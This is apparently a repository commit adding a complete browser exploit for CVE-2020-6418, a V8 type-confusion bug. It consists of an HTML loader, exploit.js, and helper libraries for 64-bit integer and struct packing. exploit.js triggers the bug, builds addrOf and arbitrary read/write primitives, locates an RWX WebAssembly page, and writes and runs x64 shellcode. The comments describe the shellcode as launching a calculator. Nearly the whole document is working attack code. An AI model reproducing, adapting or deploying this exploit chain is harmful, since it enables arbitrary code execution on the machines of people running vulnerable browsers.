🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    CVE-2020-6418/exploit.html
     1 +<html>
     2 + <body>
     3 + 
     4 + Yo!
     5 + <script src="utils.js"></script>
     6 + <script src="int64.js"></script>
     7 + <script src="exploit.js"></script>
     8 + 
     9 + 
     10 + </body>
     11 +</html>
     12 + 
     13 + 
     14 + 
  • ■ ■ ■ ■ ■ ■
    CVE-2020-6418/exploit.js
     1 +let a = [0.1,,,,,,,,,,,,,,,,,,,,,,, 0.1, 0.1,0.1];
     2 +let oob_arr;
     3 +let float_arr;
     4 +let obj;
     5 +let obj_arr;
     6 +let rw_arr;
     7 +var buf = new ArrayBuffer(8);
     8 +var dataview = new DataView(buf);
     9 +
     10 +a.pop()
     11 +a.pop()
     12 +a.pop()
     13 +
     14 +
     15 +function empty() {}
     16 +
     17 +function f(nt) {
     18 + a.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.1 : 7.47707876338752028672E20);
     19 + for (var i = 0; i < 0x10000; ++i) {};
     20 +}
     21 +
     22 +let p = new Proxy(Object, {
     23 + get: function() {
     24 + a[0] = {};
     25 + oob_arr = [0.2, 1.2, 2.2, 3.2, 4.3];
     26 + float_arr = [1.1, 1.2, 1.3, 1.4];
     27 + obj = {A : 1};
     28 + obj_arr = [obj]
     29 +
     30 + return Object.prototype;
     31 + }
     32 +});
     33 +
     34 +function main(p) {
     35 + for (var i = 0; i < 0x10000; ++i) {};
     36 + return f(p);
     37 +}
     38 +
     39 +
     40 +function startup(){
     41 + for (var i = 0; i < 0x10000; ++i) { empty(); };
     42 + main(empty);
     43 + main(empty);
     44 + main(p);
     45 +}
     46 +
     47 +startup();
     48 +
     49 +float_arr_map = Int64.fromDouble(oob_arr[12])
     50 +obj_arr_map = Int64.fromDouble(oob_arr[21])
     51 +base_addr = Int64.fromDouble(oob_arr[69])
     52 +console.log("[+] Float array's map = ", float_arr_map);
     53 +console.log("[+] Obj array's map = ", obj_arr_map);
     54 +console.log("[+] Base address = ", base_addr);
     55 +
     56 +function addrOf(obj){
     57 + tmp = oob_arr[21];
     58 + obj_arr[0] = obj;
     59 + oob_arr[21] = float_arr_map.asDouble();
     60 + offset_addr = Int64.fromDouble(obj_arr[0]);
     61 + oob_arr[21] = tmp;
     62 +
     63 + addr = new Int64('0x' + base_addr.toString().slice(-8) + offset_addr.toString().slice(-8));
     64 + return addr;
     65 +}
     66 +
     67 +function read_qword_compress(arb_addr){
     68 + float_arr_addr = addrOf(float_arr);
     69 +
     70 + elements_pointer_addr = new Int64(parseInt(float_arr_addr) - 0x28);
     71 +
     72 + addr = new Int64(parseInt(arb_addr) - 0x8 + 1);
     73 +
     74 + tmp = oob_arr[13];
     75 + oob_arr[13] = addr.asDouble();
     76 +
     77 + mem_leak = Int64.fromDouble(float_arr[0]);
     78 +
     79 + oob_arr[13] = tmp;
     80 + return mem_leak;
     81 +}
     82 +
     83 +function write_qword_compress(arb_addr, value){
     84 + float_arr_addr = addrOf(float_arr);
     85 +
     86 + elements_pointer_addr = new Int64(parseInt(float_arr_addr) - 0x28);
     87 +
     88 + addr = new Int64(parseInt(arb_addr) - 0x8);
     89 +
     90 + tmp = oob_arr[13];
     91 + oob_arr[13] = addr.asDouble();
     92 +
     93 + float_arr[0] = value.asDouble();
     94 +
     95 + oob_arr[13] = tmp;
     96 + return 0;
     97 +}
     98 +
     99 +
     100 +function arb_qword_write(arb_addr, value){
     101 + var buf_addr = addrOf(buf);
     102 +
     103 + backing_store_addr = new Int64(parseInt(buf_addr) + 0x14);
     104 +
     105 + write_qword_compress(backing_store_addr, arb_addr);
     106 +
     107 + dataview.setBigUint64(0, value, true);
     108 +}
     109 +
     110 +
     111 +
     112 +var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
     113 +var wasm_mod = new WebAssembly.Module(wasm_code);
     114 +var wasm_instance = new WebAssembly.Instance(wasm_mod);
     115 +var f = wasm_instance.exports.main;
     116 +
     117 +
     118 +addr = new Int64(parseInt(addrOf(wasm_instance)) + 0x67)
     119 +var rwx_page_addr = read_qword_compress(addr);
     120 +
     121 +console.log("[+] RWX Wasm page addr = ", rwx_page_addr);
     122 +
     123 +function copy_shellcode(addr, shell_code) {
     124 + let buf2 = new ArrayBuffer(0x200);
     125 + let dataview2 = new DataView(buf2);
     126 + let buf2_addr = addrOf(buf2);
     127 + let backing_store_addr2 = new Int64(parseInt(buf2_addr) + 0x14 - 1);
     128 + arb_qword_write(backing_store_addr2, addr);
     129 + for (let i = 0; i < shell_code.length; i++) {
     130 + dataview2.setUint32(4*i, shell_code[i], true);
     131 + }
     132 +}
     133 +
     134 +console.log("[+] Copying the shellcode");
     135 +
     136 +shell_code = [0xe7894955,0xe48348fc,0x00c0e8f0,0x51410000,0x51525041,0xd2314856,0x528b4865,0x528b4860,0x528b4818,0x728b4820,0xb70f4850,0x314d4a4a,0xc03148c9,0x7c613cac,0x41202c02,0x410dc9c1,0xede2c101,0x48514152,0x8b20528b,0x01483c42,0x88808bd0,0x48000000,0x6774c085,0x50d00148,0x4418488b,0x4920408b,0x56e3d001,0x41c9ff48,0x4888348b,0x314dd601,0xc03148c9,0xc9c141ac,0xc101410d,0xf175e038,0x244c034c,0xd1394508,0x4458d875,0x4924408b,0x4166d001,0x44480c8b,0x491c408b,0x8b41d001,0x01488804,0x415841d0,0x5a595e58,0x59415841,0x83485a41,0x524120ec,0x4158e0ff,0x8b485a59,0xff57e912,0x485dffff,0x000001ba,0x00000000,0x8d8d4800,0x00000101,0x8b31ba41,0xd5ff876f,0xa2b5f0bb,0xa6ba4156,0xff9dbd95,0xc48348d5,0x7c063c28,0xe0fb800a,0x47bb0575,0x6a6f7213,0x894c9000,0x63c35dfc,0x00636c61];
     137 +copy_shellcode(rwx_page_addr, shell_code)
     138 +
     139 +console.log("[+] Popping calc");
     140 +
     141 +f();
  • ■ ■ ■ ■ ■ ■
    CVE-2020-6418/int64.js
     1 +//
     2 +// Tiny module that provides big (64bit) integers.
     3 +//
     4 +// Copyright (c) 2016 Samuel Groß
     5 +//
     6 +// Requires utils.js
     7 +//
     8 +
     9 +// Datatype to represent 64-bit integers.
     10 +//
     11 +// Internally, the integer is stored as a Uint8Array in little endian byte order.
     12 +function Int64(v) {
     13 + // The underlying byte array.
     14 + var bytes = new Uint8Array(8);
     15 +
     16 + switch (typeof v) {
     17 + case 'number':
     18 + v = '0x' + Math.floor(v).toString(16);
     19 + case 'string':
     20 + if (v.startsWith('0x'))
     21 + v = v.substr(2);
     22 + if (v.length % 2 == 1)
     23 + v = '0' + v;
     24 +
     25 + var bigEndian = unhexlify(v, 8);
     26 + bytes.set(Array.from(bigEndian).reverse());
     27 + break;
     28 + case 'object':
     29 + if (v instanceof Int64) {
     30 + bytes.set(v.bytes());
     31 + } else {
     32 + if (v.length != 8)
     33 + throw TypeError("Array must have excactly 8 elements.");
     34 + bytes.set(v);
     35 + }
     36 + break;
     37 + case 'undefined':
     38 + break;
     39 + default:
     40 + throw TypeError("Int64 constructor requires an argument.");
     41 + }
     42 +
     43 + // Return a double whith the same underlying bit representation.
     44 + this.asDouble = function() {
     45 + // Check for NaN
     46 + if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
     47 + throw new RangeError("Integer can not be represented by a double");
     48 +
     49 + return Struct.unpack(Struct.float64, bytes);
     50 + };
     51 +
     52 + // Return a javascript value with the same underlying bit representation.
     53 + // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
     54 + // due to double conversion constraints.
     55 + this.asJSValue = function() {
     56 + if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
     57 + throw new RangeError("Integer can not be represented by a JSValue");
     58 +
     59 + // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
     60 + this.assignSub(this, 0x1000000000000);
     61 + var res = Struct.unpack(Struct.float64, bytes);
     62 + this.assignAdd(this, 0x1000000000000);
     63 +
     64 + return res;
     65 + };
     66 +
     67 + // Return the underlying bytes of this number as array.
     68 + this.bytes = function() {
     69 + return Array.from(bytes);
     70 + };
     71 +
     72 + // Return the byte at the given index.
     73 + this.byteAt = function(i) {
     74 + return bytes[i];
     75 + };
     76 +
     77 + // Return the value of this number as unsigned hex string.
     78 + this.toString = function() {
     79 + return '0x' + hexlify(Array.from(bytes).reverse());
     80 + };
     81 +
     82 + // Basic arithmetic.
     83 + // These functions assign the result of the computation to their 'this' object.
     84 +
     85 + // Decorator for Int64 instance operations. Takes care
     86 + // of converting arguments to Int64 instances if required.
     87 + function operation(f, nargs) {
     88 + return function() {
     89 + if (arguments.length != nargs)
     90 + throw Error("Not enough arguments for function " + f.name);
     91 + for (var i = 0; i < arguments.length; i++)
     92 + if (!(arguments[i] instanceof Int64))
     93 + arguments[i] = new Int64(arguments[i]);
     94 + return f.apply(this, arguments);
     95 + };
     96 + }
     97 +
     98 + // this = -n (two's complement)
     99 + this.assignNeg = operation(function neg(n) {
     100 + for (var i = 0; i < 8; i++)
     101 + bytes[i] = ~n.byteAt(i);
     102 +
     103 + return this.assignAdd(this, Int64.One);
     104 + }, 1);
     105 +
     106 + // this = a + b
     107 + this.assignAdd = operation(function add(a, b) {
     108 + var carry = 0;
     109 + for (var i = 0; i < 8; i++) {
     110 + var cur = a.byteAt(i) + b.byteAt(i) + carry;
     111 + carry = cur > 0xff | 0;
     112 + bytes[i] = cur;
     113 + }
     114 + return this;
     115 + }, 2);
     116 +
     117 + // this = a - b
     118 + this.assignSub = operation(function sub(a, b) {
     119 + var carry = 0;
     120 + for (var i = 0; i < 8; i++) {
     121 + var cur = a.byteAt(i) - b.byteAt(i) - carry;
     122 + carry = cur < 0 | 0;
     123 + bytes[i] = cur;
     124 + }
     125 + return this;
     126 + }, 2);
     127 +}
     128 +
     129 +// Constructs a new Int64 instance with the same bit representation as the provided double.
     130 +Int64.fromDouble = function(d) {
     131 + var bytes = Struct.pack(Struct.float64, d);
     132 + return new Int64(bytes);
     133 +};
     134 +
     135 +// Convenience functions. These allocate a new Int64 to hold the result.
     136 +
     137 +// Return -n (two's complement)
     138 +function Neg(n) {
     139 + return (new Int64()).assignNeg(n);
     140 +}
     141 +
     142 +// Return a + b
     143 +function Add(a, b) {
     144 + return (new Int64()).assignAdd(a, b);
     145 +}
     146 +
     147 +// Return a - b
     148 +function Sub(a, b) {
     149 + return (new Int64()).assignSub(a, b);
     150 +}
     151 +
     152 +// Some commonly used numbers.
     153 +Int64.Zero = new Int64(0);
     154 +Int64.One = new Int64(1);
     155 +
     156 +// That's all the arithmetic we need for exploiting WebKit.. :)
  • ■ ■ ■ ■ ■ ■
    CVE-2020-6418/utils.js
     1 +//
     2 +// Utility functions.
     3 +//
     4 +// Copyright (c) 2016 Samuel Groß
     5 +//
     6 +
     7 +// Return the hexadecimal representation of the given byte.
     8 +function hex(b) {
     9 + return ('0' + b.toString(16)).substr(-2);
     10 +}
     11 +
     12 +// Return the hexadecimal representation of the given byte array.
     13 +function hexlify(bytes) {
     14 + var res = [];
     15 + for (var i = 0; i < bytes.length; i++)
     16 + res.push(hex(bytes[i]));
     17 +
     18 + return res.join('');
     19 +}
     20 +
     21 +// Return the binary data represented by the given hexdecimal string.
     22 +function unhexlify(hexstr) {
     23 + if (hexstr.length % 2 == 1)
     24 + throw new TypeError("Invalid hex string");
     25 +
     26 + var bytes = new Uint8Array(hexstr.length / 2);
     27 + for (var i = 0; i < hexstr.length; i += 2)
     28 + bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
     29 +
     30 + return bytes;
     31 +}
     32 +
     33 +function hexdump(data) {
     34 + if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
     35 + data = Array.from(data);
     36 +
     37 + var lines = [];
     38 + for (var i = 0; i < data.length; i += 16) {
     39 + var chunk = data.slice(i, i+16);
     40 + var parts = chunk.map(hex);
     41 + if (parts.length > 8)
     42 + parts.splice(8, 0, ' ');
     43 + lines.push(parts.join(' '));
     44 + }
     45 +
     46 + return lines.join('\n');
     47 +}
     48 +
     49 +// Simplified version of the similarly named python module.
     50 +var Struct = (function() {
     51 + // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
     52 + var buffer = new ArrayBuffer(8);
     53 + var byteView = new Uint8Array(buffer);
     54 + var uint32View = new Uint32Array(buffer);
     55 + var float64View = new Float64Array(buffer);
     56 +
     57 + return {
     58 + pack: function(type, value) {
     59 + var view = type; // See below
     60 + view[0] = value;
     61 + return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
     62 + },
     63 +
     64 + unpack: function(type, bytes) {
     65 + if (bytes.length !== type.BYTES_PER_ELEMENT)
     66 + throw Error("Invalid bytearray");
     67 +
     68 + var view = type; // See below
     69 + byteView.set(bytes);
     70 + return view[0];
     71 + },
     72 +
     73 + // Available types.
     74 + int8: byteView,
     75 + int32: uint32View,
     76 + float64: float64View
     77 + };
     78 +})();
Please wait...
Page is in error, reload to recover